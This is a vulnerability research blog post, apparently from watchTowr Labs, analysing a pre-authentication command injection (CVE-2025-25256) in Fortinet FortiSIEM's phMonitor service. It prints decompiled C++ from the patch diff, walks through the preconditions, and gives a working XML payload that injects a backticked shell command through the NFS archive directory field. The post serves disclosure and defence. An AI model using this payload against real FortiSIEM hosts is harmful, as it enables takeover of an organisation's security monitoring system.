Should Security Solutions Be Secure? Maybe We're All Wrong - Fortinet FortiSIEM Pre-Auth Command Injection (CVE-2025-25256)

It’s Friday, but we’re here today with unscheduled content - pushing our previously scheduled shenanigans to next week.
Fortinet is no stranger to the watchTowr Labs research team. Today we’re looking at CVE-2025-25256 - a pre-authentication command injection in FortiSIEM that lets an attacker compromise an organization’s SIEM (!!!).
FortiSIEM is Fortinet’s enterprise-grade SIEM - think real-time event correlation, UEBA-style analytics, an auto-populating CMDB, built-in SOAR, and enough scale to swallow anything from cloud-to-edge deployments. It’s the kind of “one platform to rule your SOC” solution that we believe (suspect, hope, imagine, guess, pray) might feel impressively safety-first.
Except, obviously, this time it didn't because the bar remains so incredibly low.
We also noted something interesting in Fortinet’s advisory:
“Practical exploit code for this vulnerability was found in the wild.”
We’ve been told time and time again that attackers only manage to understand a vulnerability when some horrible security researcher releases analysis. And yet - somehow - we're seeing in-the-wild exploitation without asking the security community’s permission first. Strange!
Sigh. Exasperation.

Affected Versions
Fortinet’s advisory can be found here and lists CVE-2025-25256 as affecting:
Version | Affected | Solution |
---|---|---|
FortiSIEM 7.4 | Not affected | Not Applicable |
FortiSIEM 7.3 | 7.3.0 through 7.3.1 | Upgrade to 7.3.2 or above |
FortiSIEM 7.2 | 7.2.0 through 7.2.5 | Upgrade to 7.2.6 or above |
FortiSIEM 7.1 | 7.1.0 through 7.1.7 | Upgrade to 7.1.8 or above |
FortiSIEM 7.0 | 7.0.0 through 7.0.3 | Upgrade to 7.0.4 or above |
FortiSIEM 6.7 | 6.7.0 through 6.7.9 | Upgrade to 6.7.10 or above |
FortiSIEM 6.6 | 6.6 all versions | Migrate to a fixed release |
FortiSIEM 6.5 | 6.5 all versions | Migrate to a fixed release |
FortiSIEM 6.4 | 6.4 all versions | Migrate to a fixed release |
FortiSIEM 6.3 | 6.3 all versions | Migrate to a fixed release |
FortiSIEM 6.2 | 6.2 all versions | Migrate to a fixed release |
FortiSIEM 6.1 | 6.1 all versions | Migrate to a fixed release |
FortiSIEM 5.4 | 5.4 all versions | Migrate to a fixed release |
For the purposes of today’s analysis, we’ll be diffing the following FortiSIEM versions to allow us to hone in on the fixed code and reproduce this Command Injection vulnerability:
- FortiSIEM 7.3.1
- FortiSIEM 7.3.2
How Bad Could It Be?
All good stories start with a hint, and today, as a starting point on what we need to understand, Fortinet PSIRT was kind enough to provide the following hint:

So, let's begin our analysis by looking to see what listens on this port - and as expected, it seems to be phMonitor
tcp6 0 0 :::7900 :::* LISTEN 332410/phMonitor
According to Fortinet’s own documentation, phMonitor is responsible for monitoring the health of FortiSIEM processes:
Monitors the health of FortiSIEM processes. Distributes tasks from AppSvr to various processes on Supervisor and to phMonitor on Worker for further dustribution to processes on Worker nodes.
We went looking for “…and provide attackers with RCE opportunities in your network” in the documentation, but surprisingly, it wasn’t there.
Under the hood, phMonitor
is a C++ binary listening on port 7900, speaking a custom RPC protocol wrapped in TLS. Which means our journey starts exactly where Fortinet’s hint pointed us: by patch-diffing this binary.
As is tradition in 2025, the diff was… performatively substantial - 185 functions changed. Woohoo!

We’ll spare you the enthralling journey of stepping through 185 functions, to eventually filtering out 25+ suspicious functions and just give you our result - one very suspicious function that may have provided unintended functionality:
phMonitorProcess::handleStorageArchiveRequest
Fortinet have, naturally, made plenty of tweaks to this function but we’ve pulled out the part that really matters. Here’s the key change, isolated for you:

As you can see, Fortinet previously relied on ShellCmd::addParaSafe
to “sanitize” two inputs. In the patch, this has been swapped out for two far more specific functions:
ShellCmd::addHostnameOrIpParam
ShellCmd::addDiskPathParam
Turns out, addParaSafe
wasn’t exactly para-safe after all.

Under the hood, addParaSafe
simply escaped quotes to try and stop input from breaking out of a surrounding literal string - a weak defense against command injection.
Now we know where the issue lives: inside handleStorageArchiveRequest
, triggered by controlled values that (in vulnerable versions) weren’t being properly sanitized.
Let’s walk through the inner workings of handleStorageArchiveRequest
and the conditions that must be met to actually hit the injection point.
We’ve tried our best to strip away any noise so it’s easier to follow, but we can only do so much:
__int64 __fastcall phMonitorProcess::handleStorageArchiveRequest(
phMonitorProcess *event_id,
int a2,
unsigned int a3,
void *a4,
const char *a5,
void *a6,
phSockStream *a7)
{
[..SNIP..]
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity(
"phMonitorProcess.cpp",
11547,
128,
(unsigned int)PH_TASK_FAILED,
"Failed to handle storage request: cannot get process");
goto LABEL_26;
}
v84 = *((_DWORD *)v85 + 260);
if ( (unsigned int)(v84 - 1) > 1 ) // [1] Check if process type is Super (1) or Worker (2)
{
v99 = 303;
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity(
"phMonitorProcess.cpp",
11558,
128,
(unsigned int)PH_TASK_FAILED,
"handleStorageArchiveRequest can only run on Super or Worker");
goto LABEL_26;
}
if ( !a6 ) // [2] Check if data was provided
{
**v99 = 304;
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity("phMonitorProcess.cpp", 11565, 128, (unsigned int)PH_MONITOR_NOTIFICATION_CMD_EMPTY, v41);
goto LABEL_26;
}
v76 = v115;
v115[0] = &v116;
v115[1] = 0;
v116 = 0;
std::string::_M_replace(v115, 0, 0, a6, v8);
v102 = 0;
v101 = (char *)&`vtable for'phBaseXmlParser + 16;
v103 = (char *)&`vtable for'XmlParserErrorHandler + 16;
v75 = (phBaseXmlParser *)&v101;
v11 = phBaseXmlParser::parseXml((phBaseXmlParser *)&v101, v115[0], v8); // [3] Parse the received XML data
if ( !v11 )
{
v99 = 305;
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity("phMonitorProcess.cpp", 11577, 128, (unsigned int)PH_UNABLE_PARSE_XML, v48);
goto LABEL_90;
}
v12 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v11 + 104LL))(v11);
v13 = v12;
if ( !v12 )
{
v99 = 305;
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity("phMonitorProcess.cpp", 11586, 128, (unsigned int)PH_UNABLE_PARSE_XML, v42);
LABEL_90:
v23 = 0;
goto LABEL_75;
}
v117[1] = 0;
v70 = v117;
v117[0] = &v118;
v118 = 0;
phBaseXmlParser::getNodeValue(v12, "scope", v117); // [4] Extract 'scope' element from XML
LOBYTE(is_scope_local) = (unsigned int)std::string::compare(v117, "local") != 0;
Instance = phConfigurations::getInstance((phConfigurations *)v117);
v86 = v134;
std::string::basic_string<std::allocator<char>>(v134, phConstants::PH_CONFIG_MODULE_GLOBAL);
[..SNIP..]
phBaseXmlParser::getNodeValue(v13, "archive_storage_type", &archive_storage_type); // [5] Extract 'archive_storage_type' from XML
if ( !(unsigned int)std::string::compare(&archive_storage_type, "hdfs") ) // [6] Check if storage type is HDFS
{
std::string::assign(v153, "hdfs");
goto LABEL_36;
}
if ( (unsigned int)std::string::compare(&archive_storage_type, "nfs") ) // [7] Check if storage type is NFS
{
v99 = 306;
phSockStream::send_n(a7, &v99, 4u, 0, 0);
logMessageWithSeverity(
"phMonitorProcess.cpp",
11733,
128,
(unsigned int)PH_MONITOR_STORAGE_TYPE_UNKNOWN,
archive_storage_type);
v23 = 0;
goto LABEL_98;
}
v124 = 0;
v63 = &archive_nfs_server_ip;
archive_nfs_server_ip = v125;
v64 = &archive_nfs_archive_dir;
v125[0] = 0;
archive_nfs_archive_dir = v128;
v127 = 0;
v128[0] = 0;
if ( (unsigned int)phBaseXmlParser::getNodeValue(v13, "archive_nfs_server_ip", &archive_nfs_server_ip) != -1 && v124 ) // [8] Extract NFS server IP from XML
{
if ( (unsigned int)phBaseXmlParser::getNodeValue(v13, "archive_nfs_archive_dir", &archive_nfs_archive_dir) == -1 // [9] Extract NFS archive directory from XML
|| !v127 )
{
std::string::assign(v113, "archive nfs mount_point missing");
}
}
else
{
std::string::assign(v113, "archive nfs server_ip missing");
}
if ( !(unsigned int)std::string::compare(v113, "success") ) // [10] Check if both NFS parameters were successfully extracted
{
std::string::assign(v153, "nfs");
std::string::_M_assign(v155, &archive_nfs_server_ip);
std::string::_M_assign(v157, &archive_nfs_archive_dir);
std::string::basic_string<std::allocator<char>>(&requested_time, storage_script); // [11] Set script path (/opt/phoenix/deployment/jumpbox/datastore.py)
std::string::basic_string<std::allocator<char>>(&v111, "nfs"); // [12] Set storage type parameter
v50 = "test";
if ( (_DWORD)event_id != 91 ) // [13] Determine operation type: "test" or "save"
v50 = "save";
std::string::basic_string<std::allocator<char>>(&v112, v50);
v105.tv_sec = 0;
v105.tv_nsec = 0;
v106 = 0;
v62 = operator new(0x60u);
v105.tv_sec = v62;
v106 = v62 + 96;
v72 = (_QWORD *)v62;
p_requested_time = (void **)&requested_time;
v65 = (__syscall_slong_t)v113;
do
{
*v72 = v72 + 2;
std::string::_M_construct<char *>(v72, *p_requested_time, (char *)p_requested_time[1] + (_QWORD)*p_requested_time);
p_requested_time += 4;
v72 += 4;
}
while ( p_requested_time != v113 );
v105.tv_nsec = (__syscall_slong_t)v72;
ShellCmd::ShellCmd(&v129); // [14] Initialize shell command object
std::vector<std::string>::~vector(&v105);
v87 = (__int64)&requested_time;
v51 = a6;
v52 = v113;
do
{
v52 -= 4;
if ( *v52 != v52 + 2 )
operator delete(*v52);
}
while ( v52 != (void **)&requested_time );
a6 = v51;
LODWORD(v87) = (_DWORD)event_id;
ShellCmd::addParaSafe(&v129, &archive_nfs_server_ip); // [15] Add NFS server IP as parameter
ShellCmd::addParaSafe(&v129, &archive_nfs_archive_dir); // [16] Add NFS archive directory as parameter
std::string::basic_string<std::allocator<char>>(v134, " \\t\\r\\n\\v'");
v71 = v132;
std::string::basic_string<std::allocator<char>>(v132, "archive");
ShellCmd::addPara(&v129, v132, v134); // [17] Add "archive" parameter
if ( v132[0] != v133 )
operator delete(v132[0]);
if ( (_BYTE *)v134[0] != v135 )
operator delete(v134[0]);
LOBYTE(requested_time.tv_sec) = 0;
ShellCmd::str[abi:cxx11](v134, &v129); // [18] Build the complete command string
phMiscUtils::do_system_cancellable( // [19] Execute the system command
v134[0],
(const char *)&requested_time,
(bool *)&dword_0 + 1,
0,
(unsigned int)&v98,
0,
v62);
For those following along, we’ve annotated and walked through the sections of interest:
- [1] First, the current
phMonitor
process checks whether it’s running in Supervisor or Worker mode. FortiSIEM has three modes:supervisor
worker
collector
(not affected here, since this function only runs for the other two)- Most real world deployments use Supervisor or Worker.
- [2] Validate that
a2
is not a null pointer. This is an allocated heap buffer containing the data we are passing to this function. - [3] Our supplied data is expected to be valid XML, which gets parsed via
phBaseXmlParser::parseXml
. - [4] Extract the
<scope>
element value from our XML input and check if it islocal
. - [5] Extract the
<archive_storage_type>
element value. - [6] If the storage type is
hdfs
, bail out. We avoid this condition. - [7] If the storage type is
nfs
, continue. We aim to satisfy this condition. - [8] Extract
<archive_nfs_server_ip>
from the XML. - [9] Extract
<archive_nfs_archive_dir>
from the XML. - [10] Ensure both
archive_nfs_server_ip
andarchive_nfs_archive_dir
are present. - [11] Create a
std::basic_string
containing/opt/phoenix/deployment/jumpbox/datastore.py
which becomes the first argument in the command to be executed. - [12] Set the storage type argument to
nfs
. - [13] Set the storage action to
test
orsave
, depending on aPktType
field (90
or91
). - [14] Instantiate a
ShellCmd::ShellCmd()
object. - [15] Use the unsafe
ShellCmd::addParaSafe
to addarchive_nfs_server_ip
as an argument. - [16] Use the unsafe
ShellCmd::addParaSafe
again to addarchive_nfs_archive_dir
. - [17] Append the literal string
"archive"
as the final argument. - [18] Build the final command string.
- [19] Execute the command.
Putting all of the above together, we can hit the vulnerable code path by supplying an XML payload like this:
<root>
<archive_storage_type>nfs</archive_storage_type>
<archive_nfs_server_ip>127.0.0.1</archive_nfs_server_ip>
<archive_nfs_archive_dir>/nfs1</archive_nfs_archive_dir>
<scope>local</scope>
</root>
Under the hood, the following command is ultimately executed on the FortiSIEM host as a result of the above XML payload:
/opt/phoenix/deployment/jumpbox/datastore.py nfs test 127.0.0.1 /nfs1 archive
And just for fun, a visual representation:

Putting It All Together
Just for the sake of being explicit, here’s an example of a payload that would write a file to /tmp/boom
:
<root>
<archive_storage_type>nfs</archive_storage_type>
<archive_nfs_server_ip>127.0.0.1</archive_nfs_server_ip>
<archive_nfs_archive_dir>`touch${IFS}/tmp/boom`</archive_nfs_archive_dir>
<scope>local</scope>
</root>

Detection Artefact Generator
Given how simple this one is - and the fact that security teams will want eyes on it immediately - we’re sharing our Detection Artefact Generator today.
You can find it here.
The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.
By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.